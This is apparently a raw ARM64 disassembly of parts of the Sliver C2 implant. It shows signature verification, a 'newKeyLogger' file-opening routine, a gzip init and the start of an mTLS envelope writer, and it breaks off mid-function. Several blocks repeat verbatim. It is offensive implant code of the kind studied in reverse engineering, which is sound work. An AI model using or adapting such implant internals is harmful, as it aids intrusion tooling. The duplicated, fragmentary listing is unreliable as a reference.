003dd828tbnz w0, 0, 0x3dd830
003dd82cb 0x3dd854
003dd830
003dd830loc_3dd830:
003dd830orr x3, xzr, 1
003dd834strb w3, [sp+83]
003dd838stp xzr, xzr, [sp+104]
003dd83cldrb w0, [sp+83]
003dd840mov x1, xzr
003dd844mov x2, xzr
003dd848ldp x29, x30, [sp-8]
003dd84cadd sp, sp, 384
003dd850ret x30
003dd854
003dd854loc_3dd854:
003dd854adrp x0, 0x2dc000
003dd858add x0, x0, 1014
003dd85corr x1, xzr, 24
003dd860bl errors.New
003dd864str x0, [sp+360]
003dd868str x1, [sp+368]
003dd86cstrb wzr, [sp+83]
003dd870ldr x1, [sp+360]
003dd874ldr x2, [sp+368]
003dd878str x1, [sp+104]
003dd87cstr x2, [sp+112]
003dd880ldrb w0, [sp+83]
003dd884ldp x29, x30, [sp-8]
003dd888add sp, sp, 384
003dd88cret x30
003dd890
003dd890loc_3dd890:
003dd890adrp x0, 0x2d8000
003dd894add x0, x0, 1254
003dd898movz x1, 17
003dd89cbl errors.New
003dd8a0str x0, [sp+360]
003dd8a4str x1, [sp+368]
003dd8a8strb wzr, [sp+83]
003dd8acldr x1, [sp+360]
003dd8b0ldr x2, [sp+368]
003dd8b4str x1, [sp+104]
003dd8b8str x2, [sp+112]
003dd8bcldrb w0, [sp+83]
003dd8c0ldp x29, x30, [sp-8]
003dd8c4add sp, sp, 384
003dd8c8ret x30
003dd8cc
003dd8ccloc_3dd8cc:
003dd8ccadrp x0, 0x2e7000
003dd8d0add x0, x0, 3848
003dd8d4movz x1, 41
003dd8d8bl errors.New
003dd8dcstr x0, [sp+360]
003dd8e0str x1, [sp+368]
003dd8e4strb wzr, [sp+83]
003dd8e8ldr x1, [sp+360]
003dd8ecldr x2, [sp+368]
003dd8f0str x1, [sp+104]
003dd8f4str x2, [sp+112]
003dd8f8ldrb w0, [sp+83]
003dd8fcldp x29, x30, [sp-8]
003dd900add sp, sp, 384
003dd904ret x30
003dd908
003dd908loc_3dd908:
003dd908adrp x0, 0x2e0000
003dd90cadd x0, x0, 3517
003dd910orr x1, xzr, 31
003dd914bl errors.New
003dd918str x0, [sp+360]
003dd91cstr x1, [sp+368]
003dd920strb wzr, [sp+83]
003dd924ldr x1, [sp+360]
003dd928ldr x2, [sp+368]
003dd92cstr x1, [sp+104]
003dd930str x2, [sp+112]
003dd934ldrb w0, [sp+83]
003dd938ldp x29, x30, [sp-8]
003dd93cadd sp, sp, 384
003dd940ret x30
003dd944
003dd944loc_3dd944:
003dd944movz x0, 17
003dd948bl runtime.panicSliceB
003dd94chint
003dd950
003dd950loc_3dd950:
003dd950stp x0, x1, [sp+184]
003dd954stp x2, x3, [sp+200]
003dd958mov x3, x30
003dd95cbl runtime.morestack_noctxt.abi0
003dd960ldp x0, x1, [sp+184]
003dd964ldp x2, x3, [sp+200]
003dd968b 0x3dd2d0
003dd96cudf 0
003dd2d0
003dd2d0github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify(github.com/bishopfox/sliver/implant/sliver/cryptography.PublicKey * publicKey, struct []uint8 bin, github.com/bishopfox/sliver/implant/sliver/cryptography.Signature signature)
003dd2d0ldr x16, [x28+16]
003dd2d4sub x17, sp, 256
003dd2d8subs xzr, x17, x16
003dd2dcb.ls 0x3dd950
003dd2e0sub x20, sp, 384
003dd2e4stp x29, x30, [x20-8]
003dd2e8add sp, x20, 0
003dd2ecsub x29, sp, 8
003dd2f0str x0, [sp+568]
003dd2f4str x1, [sp+576]
003dd2f8str x2, [sp+584]
003dd2fcstr x3, [sp+592]
003dd300strb wzr, [sp+83]
003dd304stp xzr, xzr, [sp+104]
003dd308sturh wzr, [sp+85]
003dd30cmovz x4, 69
003dd310strb w4, [sp+85]
003dd314movz x4, 100
003dd318strb w4, [sp+86]
003dd31cldr x4, [sp+568]
003dd320ldrsb x27, [x4]
003dd324ldr x5, [sp+568]
003dd328ldrsb x27, [x5]
003dd32cldrb w4, [x4]
003dd330ldrb w5, [x5+1]
003dd334ubfm x5, x5, 56, 7
003dd338orr x4, x4, x5
003dd33cubfm x4, x4, 0, 15
003dd340movz x5, 25669
003dd344subs wzr, w4, w5
003dd348b.ne 0x3dd350
003dd34cb 0x3dd38c
003dd350
003dd350loc_3dd350:
003dd350adrp x0, 0x2e1000
003dd354add x0, x0, 2416
003dd358orr x1, xzr, 32
003dd35cbl errors.New
003dd360str x0, [sp+360]
003dd364str x1, [sp+368]
003dd368strb wzr, [sp+83]
003dd36cldr x1, [sp+360]
003dd370ldr x2, [sp+368]
003dd374str x1, [sp+104]
003dd378str x2, [sp+112]
003dd37cldrb w0, [sp+83]
003dd380ldp x29, x30, [sp-8]
003dd384add sp, sp, 384
003dd388ret x30
003dd38c
003dd38cloc_3dd38c:
003dd38cstrb wzr, [sp+84]
003dd390ldrb w4, [sp+408]
003dd394subs wzr, w4, 69
003dd398cset x4, eq
003dd39cstrb w4, [sp+87]
003dd3a0b.eq 0x3dd3a8
003dd3a4b 0x3dd3bc
003dd3a8
003dd3a8loc_3dd3a8:
003dd3a8ldrb w4, [sp+409]
003dd3acsubs wzr, w4, 100
003dd3b0cset x4, eq
003dd3b4strb w4, [sp+87]
003dd3b8b 0x3dd3c0
003dd3bc
003dd3bcloc_3dd3bc:
003dd3bcb 0x3dd3c0
003dd3c0
003dd3c0loc_3dd3c0:
003dd3c0ldrb w4, [sp+87]
003dd3c4tbnz w4, 0, 0x3dd3cc
003dd3c8b 0x3dd3d8
003dd3cc
003dd3ccloc_3dd3cc:
003dd3ccstrb wzr, [sp+84]
003dd3d0orr x4, xzr, 1
003dd3d4b 0x3dd424
003dd3d8
003dd3d8loc_3dd3d8:
003dd3d8ldrb w4, [sp+408]
003dd3dcsubs wzr, w4, 69
003dd3e0cset x4, eq
003dd3e4strb w4, [sp+87]
003dd3e8b.eq 0x3dd3f0
003dd3ecb 0x3dd404
003dd3f0
003dd3f0loc_3dd3f0:
003dd3f0ldrb w4, [sp+409]
003dd3f4subs wzr, w4, 68
003dd3f8cset x4, eq
003dd3fcstrb w4, [sp+87]
003dd400b 0x3dd408
003dd404
003dd404loc_3dd404:
003dd404b 0x3dd408
003dd408
003dd408loc_3dd408:
003dd408ldrb w4, [sp+87]
003dd40ctbnz w4, 0, 0x3dd414
003dd410b 0x3dd908
003dd414
003dd414loc_3dd414:
003dd414orr x4, xzr, 1
003dd418strb w4, [sp+84]
003dd41cb 0x3dd420
003dd420
003dd420loc_3dd420:
003dd420b 0x3dd424
003dd424
003dd424loc_3dd424:
003dd424ldr x5, [sp+568]
003dd428ldrsb x27, [x5]
003dd42cldr x6, [sp+568]
003dd430ldrsb x27, [x6]
003dd434ldr x7, [sp+568]
003dd438ldrsb x27, [x7]
003dd43cldr x8, [sp+568]
003dd440ldrsb x27, [x8]
003dd444ldr x9, [sp+568]
003dd448ldrsb x27, [x9]
003dd44cldr x10, [sp+568]
003dd450ldrsb x27, [x10]
003dd454ldr x11, [sp+568]
003dd458ldrsb x27, [x11]
003dd45cldr x12, [sp+568]
003dd460ldrsb x27, [x12]
003dd464ldrb w12, [x12+2]
003dd468ldrb w5, [x5+3]
003dd46cldrb w6, [x6+4]
003dd470ldrb w7, [x7+5]
003dd474ldrb w8, [x8+6]
003dd478ldrb w9, [x9+7]
003dd47cldrb w10, [x10+8]
003dd480ldrb w11, [x11+9]
003dd484ldrb w13, [sp+410]
003dd488ldrb w14, [sp+411]
003dd48cldrb w15, [sp+412]
003dd490ldrb w16, [sp+413]
003dd494ldrb w17, [sp+414]
003dd498ldrb w19, [sp+415]
003dd49cldrb w20, [sp+416]
003dd4a0ldrb w21, [sp+417]
003dd4a4ubfm x14, x14, 56, 7
003dd4a8orr x13, x13, x14
003dd4acubfm x5, x5, 56, 7
003dd4b0orr x5, x12, x5
003dd4b4ubfm x12, x15, 48, 7
003dd4b8orr x12, x13, x12
003dd4bcubfm x6, x6, 48, 7
003dd4c0orr x5, x5, x6
003dd4c4ubfm x6, x16, 40, 7
003dd4c8orr x6, x12, x6
003dd4ccubfm x7, x7, 40, 7
003dd4d0orr x5, x5, x7
003dd4d4ubfm x7, x17, 32, 7
003dd4d8orr x6, x6, x7
003dd4dcubfm x7, x8, 32, 7
003dd4e0orr x5, x5, x7
003dd4e4ubfm x7, x19, 24, 7
003dd4e8orr x6, x6, x7
003dd4ecubfm x7, x9, 24, 7
003dd4f0orr x5, x5, x7
003dd4f4ubfm x7, x10, 16, 7
003dd4f8orr x5, x5, x7
003dd4fcubfm x7, x20, 16, 7
003dd500orr x6, x6, x7
003dd504ubfm x7, x11, 8, 7
003dd508orr x5, x5, x7
003dd50cubfm x7, x21, 8, 7
003dd510orr x6, x6, x7
003dd514subs xzr, x6, x5
003dd518b.ne 0x3dd520
003dd51cb 0x3dd55c
003dd520
003dd520loc_3dd520:
003dd520adrp x0, 0x2de000
003dd524add x0, x0, 3376
003dd528orr x1, xzr, 28
003dd52cbl errors.New
003dd530str x0, [sp+360]
003dd534str x1, [sp+368]
003dd538strb wzr, [sp+83]
003dd53cldr x1, [sp+360]
003dd540ldr x2, [sp+368]
003dd544str x1, [sp+104]
003dd548str x2, [sp+112]
003dd54cldrb w0, [sp+83]
003dd550ldp x29, x30, [sp-8]
003dd554add sp, sp, 384
003dd558ret x30
003dd55c
003dd55cloc_3dd55c:
003dd55cldr x0, [sp+488]
003dd560ldr x1, [sp+496]
003dd564adrp x2, 0x2d8000
003dd568add x2, x2, 1237
003dd56cmovz x3, 17
003dd570bl strings.HasPrefix
003dd574strb w0, [sp+87]
003dd578tbnz w0, 0, 0x3dd580
003dd57cb 0x3dd8cc
003dd580
003dd580loc_3dd580:
003dd580ldrb w9, [sp+84]
003dd584tbnz w9, 0, 0x3dd58c
003dd588b 0x3dd638
003dd58c
003dd58cloc_3dd58c:
003dd58cstp xzr, xzr, [sp+344]
003dd590stp xzr, xzr, [sp+360]
003dd594mov x0, xzr
003dd598mov x1, xzr
003dd59cmov x2, x1
003dd5a0bl golang.org/x/crypto/blake2b.New512
003dd5a4str x0, [sp+344]
003dd5a8str x1, [sp+352]
003dd5acstr x2, [sp+360]
003dd5b0str x3, [sp+368]
003dd5b4ldr x3, [sp+344]
003dd5b8ldr x4, [sp+352]
003dd5bcstr x3, [sp+152]
003dd5c0str x4, [sp+160]
003dd5c4ldr x3, [sp+360]
003dd5c8ldr x4, [sp+368]
003dd5ccstr x3, [sp+136]
003dd5d0str x4, [sp+144]
003dd5d4ldr x3, [sp+152]
003dd5d8ldr x0, [sp+160]
003dd5dcstr x3, [sp+120]
003dd5e0str x0, [sp+128]
003dd5e4ldrsb x27, [x3]
003dd5e8ldr x1, [sp+576]
003dd5ecldr x2, [sp+584]
003dd5f0ldr x4, [sp+592]
003dd5f4ldr x3, [x3+56]
003dd5f8mov x5, x3
003dd5fcmov x3, x4
003dd600blr x5
003dd604ldr x3, [sp+120]
003dd608ldrsb x27, [x3]
003dd60cldr x3, [x3+48]
003dd610ldr x0, [sp+128]
003dd614mov x1, xzr
003dd618mov x2, xzr
003dd61cmov x4, x3
003dd620mov x3, x2
003dd624blr x4
003dd628str x0, [sp+576]
003dd62cstr x1, [sp+584]
003dd630str x2, [sp+592]
003dd634b 0x3dd63c
003dd638
003dd638loc_3dd638:
003dd638b 0x3dd63c
003dd63c
003dd63cloc_3dd63c:
003dd63cldr x9, [sp+568]
003dd640ldrsb x27, [x9]
003dd644add x9, x9, 10
003dd648ldrsb x27, [x9]
003dd64cb 0x3dd650
003dd650
003dd650loc_3dd650:
003dd650str x9, [sp+320]
003dd654orr x9, xzr, 32
003dd658str x9, [sp+328]
003dd65cstr x9, [sp+336]
003dd660add x6, sp, 418
003dd664ldrsb x27, [x6]
003dd668b 0x3dd66c
003dd66c
003dd66cloc_3dd66c:
003dd66cstr x6, [sp+296]
003dd670orr x8, xzr, 64
003dd674str x8, [sp+304]
003dd678str x8, [sp+312]
003dd67cldr x3, [sp+576]
003dd680ldr x4, [sp+584]
003dd684ldr x5, [sp+592]
003dd688ldr x0, [sp+320]
003dd68cldr x1, [sp+328]
003dd690ldr x2, [sp+336]
003dd694mov x7, x8
003dd698bl golang.org/x/crypto/ed25519.Verify
003dd69cstrb w0, [sp+87]
003dd6a0tbnz w0, 0, 0x3dd6a8
003dd6a4b 0x3dd890
003dd6a8
003dd6a8loc_3dd6a8:
003dd6a8ldr x5, [sp+568]
003dd6acldrsb x27, [x5]
003dd6b0add x5, x5, 10
003dd6b4ldrsb x27, [x5]
003dd6b8b 0x3dd6bc
003dd6bc
003dd6bcloc_3dd6bc:
003dd6bcstr x5, [sp+296]
003dd6c0orr x5, xzr, 32
003dd6c4str x5, [sp+304]
003dd6c8str x5, [sp+312]
003dd6ccadd x5, sp, 418
003dd6d0ldrsb x27, [x5]
003dd6d4b 0x3dd6d8
003dd6d8
003dd6d8loc_3dd6d8:
003dd6d8str x5, [sp+320]
003dd6dcorr x5, xzr, 64
003dd6e0str x5, [sp+328]
003dd6e4str x5, [sp+336]
003dd6e8ldr x1, [sp+496]
003dd6ecldr x6, [sp+488]
003dd6f0cbnz x6, 0x3dd6f8
003dd6f4b 0x3dd6fc
003dd6f8
003dd6f8loc_3dd6f8:
003dd6f8b 0x3dd708
003dd6fc
003dd6fcloc_3dd6fc:
003dd6fcadrp x6, 0x66e000
003dd700add x6, x6, 1504
003dd704b 0x3dd708
003dd708
003dd708loc_3dd708:
003dd708str x6, [sp+272]
003dd70cstr x1, [sp+280]
003dd710str x1, [sp+288]
003dd714b 0x3dd718
003dd718
003dd718loc_3dd718:
003dd718subs xzr, x1, 17
003dd71cb.hs 0x3dd724
003dd720b 0x3dd944
003dd724
003dd724loc_3dd724:
003dd724sub x7, x1, 17
003dd728sub x8, xzr, x7
003dd72csub x9, x1, 17
003dd730sbfm x8, x8, 63, 63
003dd734movz x10, 17
003dd738and x8, x8, x10
003dd73cadd x6, x6, x8
003dd740str x6, [sp+248]
003dd744str x9, [sp+256]
003dd748str x7, [sp+264]
003dd74cldr x2, [sp+336]
003dd750ldr x0, [sp+320]
003dd754ldr x6, [sp+328]
003dd758str x0, [sp+176]
003dd75cstr x6, [sp+184]
003dd760str x2, [sp+192]
003dd764ldr x7, [sp+256]
003dd768add x1, x6, x7
003dd76cstr x1, [sp+96]
003dd770subs xzr, x2, x1
003dd774b.hs 0x3dd77c
003dd778b 0x3dd784
003dd77c
003dd77cloc_3dd77c:
003dd77cstr x1, [sp+184]
003dd780b 0x3dd7a4
003dd784
003dd784loc_3dd784:
003dd784ldr x3, [sp+256]
003dd788adrp x4, 0x218000
003dd78cadd x4, x4, 3072
003dd790bl runtime.growslice
003dd794str x0, [sp+176]
003dd798str x1, [sp+184]
003dd79cstr x2, [sp+192]
003dd7a0b 0x3dd7a4
003dd7a4
003dd7a4loc_3dd7a4:
003dd7a4ldr x3, [sp+256]
003dd7a8str x3, [sp+88]
003dd7acldr x3, [sp+96]
003dd7b0ldr x4, [sp+256]
003dd7b4sub x3, x3, x4
003dd7b8ldr x4, [sp+176]
003dd7bcadd x0, x4, x3
003dd7c0str x0, [sp+168]
003dd7c4ldr x2, [sp+88]
003dd7c8ldr x1, [sp+248]
003dd7ccbl runtime.memmove
003dd7d0ldr x3, [sp+176]
003dd7d4ldr x4, [sp+184]
003dd7d8ldr x5, [sp+192]
003dd7dcstr x3, [sp+224]
003dd7e0str x4, [sp+232]
003dd7e4str x5, [sp+240]
003dd7e8add x6, sp, 504
003dd7ecldrsb x27, [x6]
003dd7f0b 0x3dd7f4
003dd7f4
003dd7f4loc_3dd7f4:
003dd7f4str x6, [sp+200]
003dd7f8orr x8, xzr, 64
003dd7fcstr x8, [sp+208]
003dd800str x8, [sp+216]
003dd804ldr x3, [sp+224]
003dd808ldr x4, [sp+232]
003dd80cldr x5, [sp+240]
003dd810ldr x0, [sp+296]
003dd814ldr x1, [sp+304]
003dd818ldr x2, [sp+312]
003dd81cmov x7, x8
003dd820bl golang.org/x/crypto/ed25519.Verify
003dd824strb w0, [sp+87]
003dd828tbnz w0, 0, 0x3dd830
003dd82cb 0x3dd854
003dd830
003dd830loc_3dd830:
003dd830orr x3, xzr, 1
003dd834strb w3, [sp+83]
003dd838stp xzr, xzr, [sp+104]
003dd83cldrb w0, [sp+83]
003dd840mov x1, xzr
003dd844mov x2, xzr
003dd848ldp x29, x30, [sp-8]
003dd84cadd sp, sp, 384
003dd850ret x30
003dd854
003dd854loc_3dd854:
003dd854adrp x0, 0x2dc000
003dd858add x0, x0, 1014
003dd85corr x1, xzr, 24
003dd860bl errors.New
003dd864str x0, [sp+360]
003dd868str x1, [sp+368]
003dd86cstrb wzr, [sp+83]
003dd870ldr x1, [sp+360]
003dd874ldr x2, [sp+368]
003dd878str x1, [sp+104]
003dd87cstr x2, [sp+112]
003dd880ldrb w0, [sp+83]
003dd884ldp x29, x30, [sp-8]
003dd888add sp, sp, 384
003dd88cret x30
003dd890
003dd890loc_3dd890:
003dd890adrp x0, 0x2d8000
003dd894add x0, x0, 1254
003dd898movz x1, 17
003dd89cbl errors.New
003dd8a0str x0, [sp+360]
003dd8a4str x1, [sp+368]
003dd8a8strb wzr, [sp+83]
003dd8acldr x1, [sp+360]
003dd8b0ldr x2, [sp+368]
003dd8b4str x1, [sp+104]
003dd8b8str x2, [sp+112]
003dd8bcldrb w0, [sp+83]
003dd8c0ldp x29, x30, [sp-8]
003dd8c4add sp, sp, 384
003dd8c8ret x30
003dd8cc
003dd8ccloc_3dd8cc:
003dd8ccadrp x0, 0x2e7000
003dd8d0add x0, x0, 3848
003dd8d4movz x1, 41
003dd8d8bl errors.New
003dd8dcstr x0, [sp+360]
003dd8e0str x1, [sp+368]
003dd8e4strb wzr, [sp+83]
003dd8e8ldr x1, [sp+360]
003dd8ecldr x2, [sp+368]
003dd8f0str x1, [sp+104]
003dd8f4str x2, [sp+112]
003dd8f8ldrb w0, [sp+83]
003dd8fcldp x29, x30, [sp-8]
003dd900add sp, sp, 384
003dd904ret x30
003dd908
003dd908loc_3dd908:
003dd908adrp x0, 0x2e0000
003dd90cadd x0, x0, 3517
003dd910orr x1, xzr, 31
003dd914bl errors.New
003dd918str x0, [sp+360]
003dd91cstr x1, [sp+368]
003dd920strb wzr, [sp+83]
003dd924ldr x1, [sp+360]
003dd928ldr x2, [sp+368]
003dd92cstr x1, [sp+104]
003dd930str x2, [sp+112]
003dd934ldrb w0, [sp+83]
003dd938ldp x29, x30, [sp-8]
003dd93cadd sp, sp, 384
003dd940ret x30
003dd944
003dd944loc_3dd944:
003dd944movz x0, 17
003dd948bl runtime.panicSliceB
003dd94chint
003dd950
003dd950loc_3dd950:
003dd950stp x0, x1, [sp+184]
003dd954stp x2, x3, [sp+200]
003dd958mov x3, x30
003dd95cbl runtime.morestack_noctxt.abi0
003dd960ldp x0, x1, [sp+184]
003dd964ldp x2, x3, [sp+200]
003dd968b 0x3dd2d0
003dd96cudf 0
003dd2d0
003dd970
003dd970github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger(void)
003dd970ldr x16, [x28+16]
003dd974sub x17, sp, 64
003dd978subs xzr, x17, x16
003dd97cb.ls 0x3dda84
003dd980str x30, [sp-192]!
003dd984stur x29, [sp-8]
003dd988sub x29, sp, 8
003dd98cstr xzr, [sp+56]
003dd990stp xzr, xzr, [sp+104]
003dd994adrp x0, 0x2d6000
003dd998add x0, x0, 2330
003dd99cmovz x1, 13
003dd9a0bl os.LookupEnv
003dd9a4str x0, [sp+104]
003dd9a8str x1, [sp+112]
003dd9acstrb w2, [sp+55]
003dd9b0ldr x2, [sp+104]
003dd9b4ldr x3, [sp+112]
003dd9b8str x2, [sp+144]
003dd9bcstr x3, [sp+152]
003dd9c0ldrb w2, [sp+55]
003dd9c4strb w2, [sp+54]
003dd9c8ldr x2, [sp+144]
003dd9ccldr x3, [sp+152]
003dd9d0str x2, [sp+64]
003dd9d4str x3, [sp+72]
003dd9d8ldrb w2, [sp+54]
003dd9dcstrb w2, [sp+53]
003dd9e0tbnz w2, 0, 0x3dd9e8
003dd9e4b 0x3dda70
003dd9e8
003dd9e8loc_3dd9e8:
003dd9e8str xzr, [sp+176]
003dd9ecstp xzr, xzr, [sp+160]
003dd9f0ldr x0, [sp+64]
003dd9f4ldr x1, [sp+72]
003dd9f8movz x2, 1089
003dd9fcorr x3, xzr, 384
003dda00bl os.OpenFile
003dda04str x0, [sp+176]
003dda08str x1, [sp+160]
003dda0cstr x2, [sp+168]
003dda10ldr x4, [sp+176]
003dda14str x4, [sp+136]
003dda18ldr x4, [sp+168]
003dda1cldr x5, [sp+160]
003dda20str x5, [sp+120]
003dda24str x4, [sp+128]
003dda28ldr x4, [sp+136]
003dda2cstr x4, [sp+80]
003dda30ldr x4, [sp+128]
003dda34ldr x5, [sp+120]
003dda38str x5, [sp+88]
003dda3cstr x4, [sp+96]
003dda40cbnz x5, 0x3dda48
003dda44b 0x3dda5c
003dda48
003dda48loc_3dda48:
003dda48str xzr, [sp+56]
003dda4cmov x0, xzr
003dda50ldur x29, [sp-8]
003dda54ldr x30, [sp], 192
003dda58ret x30
003dda5c
003dda5cloc_3dda5c:
003dda5cldr x0, [sp+80]
003dda60str x0, [sp+56]
003dda64ldur x29, [sp-8]
003dda68ldr x30, [sp], 192
003dda6cret x30
003dda70
003dda70loc_3dda70:
003dda70str xzr, [sp+56]
003dda74mov x0, xzr
003dda78ldur x29, [sp-8]
003dda7cldr x30, [sp], 192
003dda80ret x30
003dda84
003dda84loc_3dda84:
003dda84mov x3, x30
003dda88bl runtime.morestack_noctxt.abi0
003dda8cb 0x3dd970
003dd970
003dd970github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger(void)
003dd970ldr x16, [x28+16]
003dd974sub x17, sp, 64
003dd978subs xzr, x17, x16
003dd97cb.ls 0x3dda84
003dd980str x30, [sp-192]!
003dd984stur x29, [sp-8]
003dd988sub x29, sp, 8
003dd98cstr xzr, [sp+56]
003dd990stp xzr, xzr, [sp+104]
003dd994adrp x0, 0x2d6000
003dd998add x0, x0, 2330
003dd99cmovz x1, 13
003dd9a0bl os.LookupEnv
003dd9a4str x0, [sp+104]
003dd9a8str x1, [sp+112]
003dd9acstrb w2, [sp+55]
003dd9b0ldr x2, [sp+104]
003dd9b4ldr x3, [sp+112]
003dd9b8str x2, [sp+144]
003dd9bcstr x3, [sp+152]
003dd9c0ldrb w2, [sp+55]
003dd9c4strb w2, [sp+54]
003dd9c8ldr x2, [sp+144]
003dd9ccldr x3, [sp+152]
003dd9d0str x2, [sp+64]
003dd9d4str x3, [sp+72]
003dd9d8ldrb w2, [sp+54]
003dd9dcstrb w2, [sp+53]
003dd9e0tbnz w2, 0, 0x3dd9e8
003dd9e4b 0x3dda70
003dd9e8
003dd9e8loc_3dd9e8:
003dd9e8str xzr, [sp+176]
003dd9ecstp xzr, xzr, [sp+160]
003dd9f0ldr x0, [sp+64]
003dd9f4ldr x1, [sp+72]
003dd9f8movz x2, 1089
003dd9fcorr x3, xzr, 384
003dda00bl os.OpenFile
003dda04str x0, [sp+176]
003dda08str x1, [sp+160]
003dda0cstr x2, [sp+168]
003dda10ldr x4, [sp+176]
003dda14str x4, [sp+136]
003dda18ldr x4, [sp+168]
003dda1cldr x5, [sp+160]
003dda20str x5, [sp+120]
003dda24str x4, [sp+128]
003dda28ldr x4, [sp+136]
003dda2cstr x4, [sp+80]
003dda30ldr x4, [sp+128]
003dda34ldr x5, [sp+120]
003dda38str x5, [sp+88]
003dda3cstr x4, [sp+96]
003dda40cbnz x5, 0x3dda48
003dda44b 0x3dda5c
003dda48
003dda48loc_3dda48:
003dda48str xzr, [sp+56]
003dda4cmov x0, xzr
003dda50ldur x29, [sp-8]
003dda54ldr x30, [sp], 192
003dda58ret x30
003dda5c
003dda5cloc_3dda5c:
003dda5cldr x0, [sp+80]
003dda60str x0, [sp+56]
003dda64ldur x29, [sp-8]
003dda68ldr x30, [sp], 192
003dda6cret x30
003dda70
003dda70loc_3dda70:
003dda70str xzr, [sp+56]
003dda74mov x0, xzr
003dda78ldur x29, [sp-8]
003dda7cldr x30, [sp], 192
003dda80ret x30
003dda84
003dda84loc_3dda84:
003dda84mov x3, x30
003dda88bl runtime.morestack_noctxt.abi0
003dda8cb 0x3dd970
003dd970
003dda90
003dda90github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1(void)
003dda90ldr x16, [x28+16]
003dda94subs xzr, sp, x16
003dda98b.ls 0x3ddb18
003dda9cstr x30, [sp-112]!
003ddaa0stur x29, [sp-8]
003ddaa4sub x29, sp, 8
003ddaa8stp xzr, xzr, [sp+32]
003ddaacstr xzr, [sp+72]
003ddab0stp xzr, xzr, [sp+56]
003ddab4mov x0, xzr
003ddab8mov x1, xzr
003ddabcorr x2, xzr, 1
003ddac0bl compress/gzip.NewWriterLevel
003ddac4str x0, [sp+72]
003ddac8str x1, [sp+56]
003ddaccstr x2, [sp+64]
003ddad0ldr x3, [sp+72]
003ddad4str x3, [sp+96]
003ddad8ldr x3, [sp+56]
003ddadcldr x4, [sp+64]
003ddae0str x3, [sp+80]
003ddae4str x4, [sp+88]
003ddae8ldr x3, [sp+96]
003ddaecstr x3, [sp+48]
003ddaf0str x3, [sp+72]
003ddaf4adrp x4, 0x284000
003ddaf8add x4, x4, 1440
003ddafcstr x4, [sp+32]
003ddb00str x3, [sp+40]
003ddb04ldr x0, [sp+32]
003ddb08ldr x1, [sp+40]
003ddb0cldur x29, [sp-8]
003ddb10ldr x30, [sp], 112
003ddb14ret x30
003ddb18
003ddb18loc_3ddb18:
003ddb18mov x3, x30
003ddb1cbl runtime.morestack_noctxt.abi0
003ddb20b 0x3dda90
003ddb24udf 0
003ddb28udf 0
003ddb2cudf 0
003dda90
003dda90github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1(void)
003dda90ldr x16, [x28+16]
003dda94subs xzr, sp, x16
003dda98b.ls 0x3ddb18
003dda9cstr x30, [sp-112]!
003ddaa0stur x29, [sp-8]
003ddaa4sub x29, sp, 8
003ddaa8stp xzr, xzr, [sp+32]
003ddaacstr xzr, [sp+72]
003ddab0stp xzr, xzr, [sp+56]
003ddab4mov x0, xzr
003ddab8mov x1, xzr
003ddabcorr x2, xzr, 1
003ddac0bl compress/gzip.NewWriterLevel
003ddac4str x0, [sp+72]
003ddac8str x1, [sp+56]
003ddaccstr x2, [sp+64]
003ddad0ldr x3, [sp+72]
003ddad4str x3, [sp+96]
003ddad8ldr x3, [sp+56]
003ddadcldr x4, [sp+64]
003ddae0str x3, [sp+80]
003ddae4str x4, [sp+88]
003ddae8ldr x3, [sp+96]
003ddaecstr x3, [sp+48]
003ddaf0str x3, [sp+72]
003ddaf4adrp x4, 0x284000
003ddaf8add x4, x4, 1440
003ddafcstr x4, [sp+32]
003ddb00str x3, [sp+40]
003ddb04ldr x0, [sp+32]
003ddb08ldr x1, [sp+40]
003ddb0cldur x29, [sp-8]
003ddb10ldr x30, [sp], 112
003ddb14ret x30
003ddb18
003ddb18loc_3ddb18:
003ddb18mov x3, x30
003ddb1cbl runtime.morestack_noctxt.abi0
003ddb20b 0x3dda90
003ddb24udf 0
003ddb28udf 0
003ddb2cudf 0
003dda90
003ddb30
003ddb30github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope(crypto/tls.Conn * connection, github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope)
003ddb30ldr x16, [x28+16]
003ddb34sub x17, sp, 384
003ddb38subs xzr, x17, x16
003ddb3cb.ls 0x3ddff0
003ddb40sub x20, sp, 512
003ddb44stp x29, x30, [x20-8]
003ddb48add sp, x20, 0
003ddb4csub x29, sp, 8
003ddb50str x0, [sp+520]
003ddb54str x1, [sp+528]
003ddb58stp xzr, xzr, [sp+88]
003ddb5cstr xzr, [sp+448]
003ddb60stp xzr, xzr, [sp+456]
003ddb64stp xzr, xzr, [sp+432]
003ddb68ldr x1, [sp+528]
003ddb6cadrp x0, 0x337000
003ddb70add x0, x0, 1184
003ddb74bl google.golang.org/protobuf/proto.Marshal
003ddb78str x0, [sp+448]
003ddb7cstr x1, [sp+456]
003ddb80str x2, [sp+464]
003ddb84str x3, [sp+432]
003ddb88str x4, [sp+440]
003ddb8cldr x2, [sp+448]
003ddb90ldr x3, [sp+456]
003ddb94ldr x4, [sp+464]
003ddb98str x2, [sp+200]
003ddb9cstr x3, [sp+208]
003ddba0str x4, [sp+216]
003ddba4ldr x2, [sp+432]
003ddba8ldr x3, [sp+440]
003ddbacstr x2, [sp+184]
003ddbb0str x3, [sp+192]
003ddbb4ldr x2, [sp+200]
003ddbb8ldr x3, [sp+208]
003ddbbcldr x4, [sp+216]
003ddbc0str x2, [sp+160]
003ddbc4str x3, [sp+168]
003ddbc8str x4, [sp+176]
003ddbccldr x2, [sp+192]
003ddbd0ldr x3, [sp+184]
003ddbd4str x3, [sp+136]
003ddbd8str x2, [sp+144]
003ddbdccbnz x3, 0x3ddbe4
003ddbe0b 0x3ddce8
003ddbe4
003ddbe4loc_3ddbe4:
003ddbe4stp xzr, xzr, [sp+400]
003ddbe8stp xzr, xzr, [sp+416]
003ddbecadd x3, sp, 400
003ddbf0str x3, [sp+360]
003ddbf4ldrsb x27, [x3]
003ddbf8adrp x4, 0x218000
